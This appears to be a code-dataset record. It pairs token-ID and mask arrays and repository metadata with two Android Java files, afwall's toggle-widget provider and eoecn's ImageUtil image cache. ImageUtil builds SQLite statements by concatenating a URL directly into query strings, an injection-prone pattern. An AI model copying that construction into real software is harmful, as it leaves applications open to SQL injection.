221,
128,
374,
221,
620,
10556,
64,
376,
221,
130,
376,
221,
2072,
6566,
1237,
3671,
1834,
64,
376,
221,
2072,
7517,
4419,
10556,
64,
222,
221,
130,
222,
221,
942,
1175,
924,
462,
7517,
3726,
4584,
19182,
222,
221,
128,
376,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
1332,
221,
3075,
3726,
45,
1260,
577,
2252,
577,
46,
376,
221,
128,
374,
221,
597,
51,
618,
577,
299,
2252,
577,
64,
376,
221,
130,
376,
221,
942,
1175,
3735,
577,
640,
1260,
577,
365,
376,
221,
128,
374,
221,
620,
2252,
577,
64,
376,
221,
130,
376,
221,
2072,
3735,
577,
2252,
577,
64,
222,
221,
130,
222,
221,
942,
924,
1175,
462,
7517,
4419,
4584,
19182,
222,
221,
128,
376,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
1332,
221,
5332,
1175,
462,
7099,
1260,
577,
2041,
3735,
577,
376,
221,
128,
374,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
27726,
221,
5332,
7099,
1260,
577,
45,
429,
804,
46,
374,
221,
128,
621,
221,
5282,
45,
872,
312,
374,
221,
130,
376,
221,
130,
1332,
221,
2072,
7517,
4419,
365,
376,
221,
128,
376,
221,
130,
499,
221,
130,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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| true
|
ToggleWidgetOld.java
|
/FileExtraction/Java_unseen/ukanth_afwall/app/src/main/java/dev/ukanth/ufirewall/widget/ToggleWidgetOld.java
|
/**
* ON/OFF Widget implementation
* <p>
* Copyright (C) 2009-2011 Rodrigo Zechin Rosauro
* Copyright (C) 2012 Umakanthan Chandran
* <p>
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* @author Rodrigo Zechin Rosauro, Umakanthan Chandran
* @version 1.1
*/
package dev.ukanth.ufirewall.widget;
import android.app.PendingIntent;
import android.appwidget.AppWidgetManager;
import android.appwidget.AppWidgetProvider;
import android.content.Context;
import android.content.Intent;
import android.widget.RemoteViews;
import dev.ukanth.ufirewall.R;
/**
* ON/OFF Widget implementation
*/
public class ToggleWidgetOld extends AppWidgetProvider {
@Override
public void onReceive(final Context context, final Intent intent) {
super.onReceive(context, intent);
}
@Override
public void onUpdate(Context context, AppWidgetManager appWidgetManager,
int[] appWidgetIds) {
super.onUpdate(context, appWidgetManager, appWidgetIds);
RemoteViews remoteViews = new RemoteViews(context.getPackageName(), R.layout.toggle_widget_old_layout);
Intent configIntent = new Intent(context, ToggleWidgetOldActivity.class);
PendingIntent configPendingIntent = PendingIntent.getActivity(context, 0, configIntent, PendingIntent.FLAG_MUTABLE);
remoteViews.setOnClickPendingIntent(R.id.toggle_widget_icon_old, configPendingIntent);
appWidgetManager.updateAppWidget(appWidgetIds, remoteViews);
}
}
| 2,097
|
Java
|
.java
|
ukanth/afwall
| 2,664
| 447
| 282
|
2012-10-27T13:20:30Z
|
2024-04-17T16:40:29Z
|
97452aeba1225d653270314908bf46d2ee0de16d032666e958aaa4a057416299
|
[
1350,
222,
338,
5716,
52,
6672,
11852,
4753,
222,
338,
350,
117,
67,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
53,
62,
50,
55,
53,
54,
54,
244,
43802,
867,
116,
2538,
8165,
285,
47229,
4474,
309,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
55,
650,
12650,
297,
20954,
1902,
382,
19306,
222,
338,
350,
117,
67,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
350,
117,
67,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
350,
117,
67,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
338,
222,
338,
496,
2133,
43802,
867,
116,
2538,
8165,
285,
47229,
4474,
309,
49,
650,
12650,
297,
20954,
1902,
382,
19306,
222,
338,
496,
1687,
244,
54,
51,
54,
222,
588,
222,
222,
1337,
5693,
51,
25369,
368,
51,
4862,
567,
8999,
51,
3872,
64,
222,
222,
485,
2616,
51,
745,
51,
10710,
8770,
64,
222,
485,
2616,
51,
745,
3872,
51,
1306,
3778,
1590,
64,
222,
485,
2616,
51,
745,
3872,
51,
1306,
3778,
2588,
64,
222,
485,
2616,
51,
1304,
51,
1237,
64,
222,
485,
2616,
51,
1304,
51,
8770,
64,
222,
485,
2616,
51,
3872,
51,
7318,
12026,
64,
222,
222,
485,
5693,
51,
25369,
368,
51,
4862,
567,
8999,
51,
87,
64,
222,
222,
1350,
222,
338,
5716,
52,
6672,
11852,
4753,
222,
588,
222,
942,
462,
25153,
3778,
10560,
2041,
2013,
3778,
2588,
320,
303,
496,
1806,
303,
581,
782,
563,
11709,
45,
3242,
7063,
1637,
49,
1175,
11790,
8935,
46,
320,
310,
2615,
51,
286,
11709,
45,
1834,
49,
8935,
312,
303,
339,
465,
496,
1806,
303,
581,
782,
48663,
45,
1237,
1637,
49,
2013,
3778,
1590,
1142,
3778,
1590,
49,
674,
648,
1197,
1142,
3778,
5345,
46,
320,
310,
2615,
51,
286,
2346,
45,
1834,
49,
1142,
3778,
1590,
49,
1142,
3778,
5345,
312,
603,
13598,
12026,
6564,
12026,
299,
556,
13598,
12026,
45,
1834,
51,
390,
28458,
1046,
578,
51,
3106,
51,
4652,
100,
3872,
100,
1477,
100,
3106,
312,
603,
11790,
1377,
8770,
299,
556,
11790,
45,
1834,
49,
25153,
3778,
10560,
3697,
51,
842,
312,
603,
28819,
8770,
1377,
10710,
8770,
299,
28819,
8770,
51,
28176,
45,
1834,
49,
244,
53,
49,
1377,
8770,
49,
28819,
8770,
51,
4705,
100,
27280,
2164,
312,
603,
6564,
12026,
51,
22304,
2668,
10710,
8770,
45,
87,
51,
333,
51,
4652,
100,
3872,
100,
1584,
100,
1477,
49,
1377,
10710,
8770,
312,
310,
1142,
3778,
1590,
51,
1896,
1306,
3778,
45,
745,
3778,
5345,
49,
6564,
12026,
312,
303,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 550
| true
| 73.581307
| true
| true
|
ImageUtil.java
|
/FileExtraction/Java_unseen/eoecn_android-app/source/src/cn/eoe/app/utils/ImageUtil.java
|
package cn.eoe.app.utils;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.ref.SoftReference;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.text.DecimalFormat;
import java.util.Date;
import java.util.LinkedHashMap;
import android.annotation.SuppressLint;
import android.content.Context;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.BitmapFactory.Options;
import android.graphics.Rect;
import android.os.Build;
import android.os.Environment;
import android.os.Handler;
import android.os.Message;
import android.util.Log;
import android.widget.ImageView;
import cn.eoe.app.R;
import cn.eoe.app.db.DBHelper;
import cn.eoe.app.db.ImageCacheColumn;
public class ImageUtil {
private static final String TAG = "ImageUtil";
private static int DayCount = 15;// 天数
private static final long CLEARTIME = DayCount * 24 * 60 * 60 * 1000;
/**
* 默认图片
*/
private final static int Default_Img = R.drawable.bg_load_default;
private static Object lock = new Object();
/**
* 内存图片软引用缓冲
*/
private static LinkedHashMap<String, SoftReference> imageCache = new LinkedHashMap<String, SoftReference>(
20);
/**
* 入口
*
* @param imageUrl
* @param iv_item_image
* @param context
* @param callback
* @param b
*/
public static void setThumbnailView(String imageUrl,
ImageView iv_item_image, Context context, ImageCallback callback,
boolean b) {
DBHelper dbHelper = DBHelper.getInstance(context);
String md5 = ImageUtil.md5(imageUrl);
// 缓存目录
if (!CommonUtil.sdCardIsAvailable())/* true 为可用 */{
String cachePath = context.getCacheDir().getAbsolutePath() + "/" + md5; // data里的缓存
setThumbnailImage(iv_item_image, imageUrl, cachePath, dbHelper,
callback, b);
iv_item_image.setTag(cachePath);
} else {
String imagePath = getExternalCacheDir(context) + File.separator + md5; // sd卡
setThumbnailImage(iv_item_image, imageUrl, imagePath, dbHelper,
callback, b);
iv_item_image.setTag(imagePath);
}
}
/**
* 获得程序在sd开上的cahce目录
*
* @param context
* The context to use
* @return The external cache dir
*/
@SuppressLint("NewApi")
public static String getExternalCacheDir(Context context) {
// android 2.2 以后才支持的特性
if (hasExternalCacheDir()) {
return context.getExternalCacheDir().getPath() + File.separator
+ "img";
}
// Before Froyo we need to construct the external cache dir ourselves
// 2.2以前我们需要自己构造
final String cacheDir = "/Android/data/" + context.getPackageName()
+ "/cache/img/";
return Environment.getExternalStorageDirectory().getPath() + cacheDir;
}
public static boolean hasExternalCacheDir() {
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.FROYO;
}
/**
* 设置图片函数
*
* @param view
* @param imageUrl
* @param cachePath
* @param callback
* @param b
*/
private static void setThumbnailImage(ImageView view, String imageUrl,
String cachePath, DBHelper dbHelper, ImageCallback callback,
boolean b) {
Bitmap bitmap = null;
bitmap = ImageUtil.loadThumbnailImage(cachePath, imageUrl, dbHelper,
callback, b);
if (bitmap == null) {// 先查找数据库,再查找本地sd卡,若没有.再从网站加载,若网站上没有图片或错误时返回null
// 设置默认图片
view.setImageResource(Default_Img);
} else {
// 设置本地SD卡缓存图片
view.setImageBitmap(bitmap);
}
}
private static Bitmap getImageFromDB(String imagePath, String imageUrl,
DBHelper dbHelper) {
Cursor cursor = queryFromDbByImgUrl(dbHelper, imageUrl);
if (cursor.moveToFirst()) {
long currTimestamp = (new Date()).getTime();
long timestamp = cursor.getLong(cursor
.getColumnIndex(ImageCacheColumn.TIMESTAMP));
long spanTime = currTimestamp - timestamp;
int Past_time = cursor.getInt(cursor
.getColumnIndex(ImageCacheColumn.PAST_TIME));
if (spanTime > Past_time * 24 * 60 * 60 * 1000) {
// 过期
// 删除本地文件
deleteImageFromLocal(imagePath);
return null;
} else {
// 没过期
return getImageFromLocal(imagePath);
}
} else {
return null;
}
}
private static Cursor queryFromDbByImgUrl(DBHelper dbHelper, String imageUrl) {
// return dbHelper.query(ImageCacheColumn.TABLE_NAME, null,
// ImageCacheColumn.Url + "=?", new String[] { imageUrl });
return dbHelper.rawQuery("select * from " + ImageCacheColumn.TABLE_NAME
+ " where " + ImageCacheColumn.Url + "='" + imageUrl + "'",
null);
}
/**
* 保存图片到SD卡
*
* @param imagePath
* @param buffer
* @throws IOException
*/
public static void saveImage(String imagePath, byte[] buffer)
throws IOException {
File f = new File(imagePath);
if (f.exists()) {
return;
} else {
File parentFile = f.getParentFile();
if (!parentFile.exists()) {
parentFile.mkdirs();
}
f.createNewFile();
FileOutputStream fos = new FileOutputStream(imagePath);
fos.write(buffer);
fos.flush();
fos.close();
}
}
/**
* 保存图片到缓存
*
* @param imagePath
* @param bm
*/
public static void saveImage(String imagePath, Bitmap bm) {
if (bm == null || imagePath == null || "".equals(imagePath)) {
return;
}
File f = new File(imagePath);
if (f.exists()) {
return;
} else {
try {
File parentFile = f.getParentFile();
if (!parentFile.exists()) {
parentFile.mkdirs();
}
f.createNewFile();
FileOutputStream fos;
fos = new FileOutputStream(f);
bm.compress(Bitmap.CompressFormat.PNG, 100, fos);
fos.close();
} catch (FileNotFoundException e) {
f.delete();
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
f.delete();
}
}
}
private static void saveImageByDb(String imageUrl, DBHelper dbHelper) {
String sql = null;
if (queryFromDbByImgUrl(dbHelper, imageUrl).moveToFirst()) {
sql = "update " + ImageCacheColumn.TABLE_NAME + " set "
+ ImageCacheColumn.TIMESTAMP + "='"
+ (new Date().getTime()) + "' where "
+ ImageCacheColumn.Url + "='" + imageUrl + "'";
} else {
sql = "insert into " + ImageCacheColumn.TABLE_NAME + "("
+ ImageCacheColumn.Url + "," + ImageCacheColumn.TIMESTAMP
+ "," + ImageCacheColumn.PAST_TIME + ") values('"
+ imageUrl + "'," + (new Date().getTime()) + "," + DayCount
+ ")";
}
dbHelper.ExecSQL(sql);
}
/**
* 从SD卡加载图片
*
* @param imagePath
* @return
*/
public static Bitmap getImageFromLocal(String imagePath) {
File file = new File(imagePath);
if (file.exists()) {
Bitmap bitmap = BitmapFactory.decodeFile(imagePath);
file.setLastModified(System.currentTimeMillis());
return bitmap;
}
return null;
}
/**
* 从本地文件中删除文件
*
* @param imagePath
*/
private static void deleteImageFromLocal(String imagePath) {
File file = new File(imagePath);
if (file.exists()) {
file.delete();
}
}
/**
* 从本地或者服务端异步加载缩略图图片
*
* @return
* @param imagePath
* 本地缓存路径
* @param imgUrl
* 拼接后的请求路径
* @param callback
* 得到数据后的处理方法回调
* @throws IOException
*/
public static Bitmap loadThumbnailImage(final String imagePath,
final String imgUrl, final DBHelper dbHelper,
final ImageCallback callback, final boolean b) {
// 在软链接缓存中,则返回Bitmap对象
if (imageCache.containsKey(imgUrl)) {
SoftReference reference = imageCache.get(imgUrl);
Bitmap bitmap = (Bitmap) reference.get();
if (bitmap != null) {
return bitmap;
}
}
// 若软链接缓存没有
Bitmap bitmap = null;
// 查询数据库 返回bitmap
bitmap = getImageFromDB(imagePath, imgUrl, dbHelper);// 从本地加载
if (bitmap != null) {
return bitmap;
} else {
// 从网上加载
final Handler handler = new Handler() {
@Override
public void handleMessage(Message msg) {
if (msg.obj != null) {
Bitmap bitmap = (Bitmap) msg.obj;
callback.loadImage(bitmap, imagePath);
}
}
};
Runnable runnable = new Runnable() {
@Override
public void run() {
try {
URL url = new URL(imgUrl);
URLConnection conn = url.openConnection();
conn.setConnectTimeout(5000);
conn.setReadTimeout(5000);
conn.connect();
InputStream in = conn.getInputStream();
BitmapFactory.Options options = new Options();
options.inSampleSize = 1;
Bitmap bitmap = BitmapFactory.decodeStream(in,
new Rect(0, 0, 0, 0), options);
imageCache.put(imgUrl, new SoftReference(bitmap));
Message msg = handler.obtainMessage();
msg.obj = bitmap;
handler.sendMessage(msg);
if (bitmap != null) {
// 保存文件到sd卡
saveImage(imagePath, bitmap);
// 保存到数据库
saveImageByDb(imgUrl, dbHelper);
}
} catch (MalformedURLException e) {
e.printStackTrace();
Log.e(ImageUtil.class.getName(), "图片url不存在");
} catch (IOException e) {
e.printStackTrace();
}
}
};
ThreadPoolManager.getInstance().addTask(runnable);
}
return null;
}
/**
* MD5
*
* @param paramString
* @return
*/
private static String md5(String paramString) {
return MD5.encode(paramString);
}
// ///////////////////////////////////////////////////////////////////////
// 公共方法
public interface ImageCallback {
public void loadImage(Bitmap bitmap, String imagePath);
}
/**
* 每次打开含有大量图片的activity时,开一个新线程,检查并清理缓存
*
* @param context
*/
public static void checkCache(final Context context) {
new Thread() {
public void run() {
int state = 0;// 记录清除结果 0为都没清除, 1为只清除了sd卡, 2为只清除了rom Cache ,3
// 为都清除了
String cacheS = "0M";
String cacheD = "0M";
File sdCache = new File(getExternalCacheDir(context)); // sd卡"mnt/sdcard/android/data/cn.eoe.app/cache/";
File cacheDir = context.getCacheDir(); // 手机data/data/com.mengniu.app/cache
try {
if (sdCache != null && sdCache.exists()) {
long sdFileSize = getFileSize(sdCache);
if (sdFileSize > 1024 * 1024 * 50) {
// SD需要清理
long clearFileSize = clear(sdCache);
state += 1;
cacheS = clearFileSize + "";
}
}
if (cacheDir != null && cacheDir.exists()) {
long cacheFileSize = getFileSize(cacheDir);
if (cacheFileSize > 1024 * 1024 * 50) {
// ROM需要清理
long clearFileSize = clear(cacheDir);
state += 2;
cacheD = clearFileSize + "";
}
}
} catch (Exception e) {
e.printStackTrace();
}
};
}.start();
}
/**
* 清除路径
*
* @param cacheDir
* @return
*/
public static long clear(File cacheDir) {
long clearFileSize = 0;
File[] files = cacheDir.listFiles();
if (files == null)
return 0;
for (File f : files) {
if (f.isFile()) {
if (System.currentTimeMillis() - f.lastModified() > CLEARTIME) {
long fileSize = f.length();
if (f.delete()) {
clearFileSize += fileSize;
}
}
} else {
clear(f);
}
}
return clearFileSize;
}
/**
* 取得文件大小
*
* @param f
* @return
* @throws Exception
*/
public static long getFileSize(File f) throws Exception {
long size = 0;
File flist[] = f.listFiles();
for (int i = 0; i < flist.length; i++) {
if (flist[i].isDirectory()) {
size = size + getFileSize(flist[i]);
} else {
size = size + flist[i].length();
}
}
return size;
}
/**
* 转换文件大小
*
* @param fileS
* @return
*/
public static String FormetFileSize(long fileS) {
DecimalFormat df = new DecimalFormat("#.00");
String fileSizeString = "";
if (fileS < 1024) {
fileSizeString = df.format((double) fileS) + "B";
} else if (fileS < 1048576) {
fileSizeString = df.format((double) fileS / 1024) + "K";
} else if (fileS < 1073741824) {
fileSizeString = df.format((double) fileS / 1048576) + "M";
} else {
fileSizeString = df.format((double) fileS / 1073741824) + "G";
}
return fileSizeString;
}
}
| 13,052
|
Java
|
.java
|
eoecn/android-app
| 1,181
| 1,174
| 34
|
2013-01-26T03:21:23Z
|
2015-10-06T02:34:12Z
|
305e4dc9e738c876a2b4e142c0d09c8f45103a7538094409b61a010ae37fe80b
|
[
1337,
13007,
51,
106,
15636,
51,
745,
51,
2324,
64,
222,
222,
485,
1401,
51,
735,
51,
991,
64,
222,
485,
1401,
51,
735,
51,
27322,
64,
222,
485,
1401,
51,
735,
51,
991,
8783,
64,
222,
485,
1401,
51,
735,
51,
6860,
64,
222,
485,
1401,
51,
735,
51,
6989,
64,
222,
485,
1401,
51,
1600,
51,
631,
51,
14993,
3580,
64,
222,
485,
1401,
51,
1317,
51,
36265,
45817,
64,
222,
485,
1401,
51,
1317,
51,
2427,
64,
222,
485,
1401,
51,
1317,
51,
29538,
64,
222,
485,
1401,
51,
897,
51,
7701,
2222,
64,
222,
485,
1401,
51,
1058,
51,
1563,
64,
222,
485,
1401,
51,
1058,
51,
15373,
8263,
64,
222,
222,
485,
2616,
51,
4341,
51,
10689,
20331,
64,
222,
485,
2616,
51,
1304,
51,
1237,
64,
222,
485,
2616,
51,
4617,
51,
7424,
64,
222,
485,
2616,
51,
7027,
51,
9384,
64,
222,
485,
2616,
51,
7027,
51,
9384,
2232,
64,
222,
485,
2616,
51,
7027,
51,
9384,
2232,
51,
2045,
64,
222,
485,
2616,
51,
7027,
51,
4377,
64,
222,
485,
2616,
51,
519,
51,
3328,
64,
222,
485,
2616,
51,
519,
51,
6342,
64,
222,
485,
2616,
51,
519,
51,
1985,
64,
222,
485,
2616,
51,
519,
51,
1193,
64,
222,
485,
2616,
51,
1058,
51,
1353,
64,
222,
485,
2616,
51,
3872,
51,
16649,
64,
222,
485,
13007,
51,
106,
15636,
51,
745,
51,
87,
64,
222,
485,
13007,
51,
106,
15636,
51,
745,
51,
1219,
51,
2015,
2775,
64,
222,
485,
13007,
51,
106,
15636,
51,
745,
51,
1219,
51,
1675,
2610,
2154,
64,
222,
222,
942,
462,
4393,
1747,
320,
222,
221,
2072,
924,
1175,
910,
19318,
299,
332,
1675,
1747,
884,
222,
221,
2072,
924,
648,
17102,
1552,
299,
244,
54,
58,
15345,
244,
11904,
2378,
222,
221,
2072,
924,
1175,
1964,
48613,
4812,
299,
17102,
1552,
338,
244,
55,
57,
338,
244,
59,
53,
338,
244,
59,
53,
338,
244,
54,
53,
53,
53,
64,
222,
221,
1350,
376,
338,
31018,
14738,
376,
588,
222,
221,
2072,
1175,
924,
648,
4119,
100,
9856,
299,
578,
51,
16926,
51,
4885,
100,
963,
100,
1555,
64,
499,
221,
2072,
924,
2210,
5449,
299,
556,
2210,
492,
499,
221,
1350,
376,
338,
244,
20870,
14738,
23338,
24203,
17170,
32296,
376,
588,
222,
221,
2072,
924,
34961,
65,
671,
49,
28437,
3580,
67,
1802,
2610,
299,
556,
34961,
65,
671,
49,
28437,
3580,
1579,
621,
55,
53,
312,
499,
221,
1350,
376,
338,
244,
5039,
8992,
376,
338,
4517,
338,
496,
772,
45057,
376,
338,
496,
772,
15598,
100,
1113,
100,
915,
376,
338,
496,
772,
1637,
376,
338,
496,
772,
3325,
376,
338,
496,
772,
342,
376,
588,
222,
221,
942,
924,
782,
758,
24330,
1089,
45,
671,
45057,
49,
374,
221,
16649,
15598,
100,
1113,
100,
915,
49,
7063,
1637,
49,
4393,
3309,
3325,
49,
374,
221,
4412,
342,
46,
320,
376,
221,
2015,
2775,
3100,
2775,
299,
4594,
2775,
51,
7432,
45,
1834,
312,
376,
221,
671,
8745,
58,
299,
4393,
1747,
51,
973,
58,
45,
46694,
312,
43021,
221,
325,
244,
20139,
15533,
1332,
221,
344,
1445,
5248,
1747,
51,
2728,
3599,
1640,
8590,
1177,
1127,
878,
29320,
37875,
588,
128,
374,
221,
671,
3337,
1233,
299,
1637,
51,
48135,
2995,
941,
24697,
365,
494,
13198,
494,
8745,
58,
64,
453,
727,
9407,
1096,
20139,
374,
221,
489,
24330,
1675,
45,
407,
100,
1113,
100,
915,
49,
45057,
49,
3337,
1233,
49,
3100,
2775,
49,
596,
221,
4399,
49,
342,
312,
374,
221,
407,
100,
1113,
100,
915,
51,
48106,
45,
2630,
1233,
312,
376,
221,
130,
832,
320,
374,
221,
671,
1802,
1233,
299,
640,
8392,
2610,
2995,
45,
1834,
46,
494,
2050,
51,
12640,
494,
8745,
58,
64,
453,
16726,
24350,
374,
221,
489,
24330,
1675,
45,
407,
100,
1113,
100,
915,
49,
45057,
49,
1802,
1233,
49,
3100,
2775,
49,
596,
221,
4399,
49,
342,
312,
374,
221,
407,
100,
1113,
100,
915,
51,
48106,
45,
915,
1233,
312,
376,
221,
130,
222,
221,
130,
499,
221,
1350,
376,
338,
244,
26505,
12702,
2924,
2728,
6216,
24905,
1192,
109,
388,
15533,
376,
338,
4517,
338,
496,
772,
1637,
376,
338,
1485,
906,
1637,
391,
813,
376,
338,
496,
620,
906,
6596,
3337,
4937,
376,
588,
222,
221,
69,
10689,
20331,
459,
1827,
2570,
678,
222,
221,
942,
924,
910,
640,
8392,
2610,
2995,
45,
1237,
1637,
46,
320,
376,
221,
325,
2616,
244,
55,
51,
55,
45673,
5054,
19608,
12915,
1096,
45792,
376,
221,
344,
327,
2057,
8392,
2610,
2995,
1177,
320,
374,
221,
620,
1637,
51,
390,
8392,
2610,
2995,
941,
17676,
365,
494,
2050,
51,
12640,
596,
221,
48,
332,
1296,
884,
376,
221,
130,
1332,
221,
325,
16946,
525,
3759,
116,
1019,
1868,
391,
8551,
341,
6596,
3337,
4937,
37524,
376,
221,
325,
244,
55,
51,
55,
3463,
5625,
8528,
8092,
15672,
29688,
376,
221,
3242,
910,
3337,
2995,
299,
2450,
9213,
52,
624,
5694,
494,
1637,
51,
390,
28458,
365,
621,
221,
48,
2450,
2630,
52,
1296,
26217,
376,
221,
620,
10584,
51,
390,
8392,
3581,
4562,
941,
17676,
365,
494,
3337,
2995,
64,
222,
221,
130,
499,
221,
942,
924,
1922,
1421,
8392,
2610,
2995,
365,
320,
376,
221,
620,
5256,
51,
4539,
51,
9107,
100,
1860,
2394,
5256,
51,
4539,
100,
24879,
51,
75,
1030,
14912,
64,
222,
221,
130,
499,
221,
1350,
376,
338,
19130,
14738,
10216,
376,
338,
4517,
338,
496,
772,
2221,
376,
338,
496,
772,
45057,
376,
338,
496,
772,
3337,
1233,
376,
338,
496,
772,
3325,
376,
338,
496,
772,
342,
376,
588,
222,
221,
2072,
924,
782,
758,
24330,
1675,
45,
16649,
2221,
49,
910,
45057,
49,
374,
221,
671,
3337,
1233,
49,
4594,
2775,
3100,
2775,
49,
4393,
3309,
3325,
49,
374,
221,
4412,
342,
46,
320,
376,
221,
9384,
15601,
299,
762,
64,
376,
221,
16108,
299,
4393,
1747,
51,
963,
24330,
1675,
45,
2630,
1233,
49,
45057,
49,
3100,
2775,
49,
621,
221,
4399,
49,
342,
312,
376,
221,
344,
327,
16108,
630,
762,
46,
24167,
244,
11535,
36528,
17662,
1140,
13130,
36528,
25803,
2728,
24350,
49,
20059,
11127,
51,
13130,
9682,
31882,
18779,
1140,
20059,
31882,
4518,
11127,
14738,
7668,
14394,
3616,
8763,
1710,
374,
221,
325,
19130,
11804,
14738,
374,
221,
1090,
51,
25886,
2305,
45,
2061,
100,
9856,
312,
376,
221,
130,
832,
320,
374,
221,
325,
19130,
25803,
3197,
24350,
20139,
14738,
374,
221,
1090,
51,
25886,
9384,
45,
16108,
312,
376,
221,
130,
222,
221,
130,
499,
221,
2072,
924,
16761,
44066,
1811,
2015,
45,
671,
1802,
1233,
49,
910,
45057,
49,
374,
221,
2015,
2775,
3100,
2775,
46,
320,
376,
221,
7424,
6226,
299,
2487,
1811,
5155,
1103,
9856,
2226,
45,
1219,
2775,
49,
45057,
312,
376,
221,
344,
327,
7033,
51,
23061,
3485,
1177,
320,
374,
221,
3239,
9986,
7477,
299,
327,
909,
2833,
4269,
11960,
492,
374,
221,
3239,
6356,
299,
6226,
51,
33192,
45,
7033,
596,
221,
51,
41423,
45,
1675,
2610,
2154,
51,
14875,
894,
374,
221,
3239,
8115,
1061,
299,
9986,
7477,
449,
6356,
64,
374,
221,
429,
466,
652,
100,
1021,
299,
6226,
51,
15384,
45,
7033,
596,
221,
51,
41423,
45,
1675,
2610,
2154,
51,
85,
4392,
100,
4812,
894,
374,
221,
344,
327,
681,
1061,
868,
466,
652,
100,
1021,
338,
244,
55,
57,
338,
244,
59,
53,
338,
244,
59,
53,
338,
244,
54,
53,
53,
53,
46,
320,
621,
221,
325,
244,
5738,
9820,
621,
221,
325,
31707,
25803,
6162,
621,
221,
2577,
1675,
1811,
3340,
45,
915,
1233,
312,
621,
221,
620,
762,
64,
374,
221,
130,
832,
320,
621,
221,
325,
4832,
148,
132,
5738,
9820,
621,
221,
620,
44066,
1811,
3340,
45,
915,
1233,
312,
374,
221,
130,
376,
221,
130,
832,
320,
374,
221,
620,
762,
64,
376,
221,
130,
222,
221,
130,
499,
221,
2072,
924,
22697,
2487,
1811,
5155,
1103,
9856,
2226,
45,
2015,
2775,
3100,
2775,
49,
910,
45057,
46,
320,
376,
221,
325,
461,
3100,
2775,
51,
1234,
45,
1675,
2610,
2154,
51,
6950,
100,
2491,
49,
762,
49,
376,
221,
325,
4393,
2610,
2154,
51,
2226,
494,
30573,
14199,
556,
910,
1197,
320,
45057,
1141,
376,
221,
620,
3100,
2775,
51,
1312,
1643,
459,
1632,
338,
664,
332,
494,
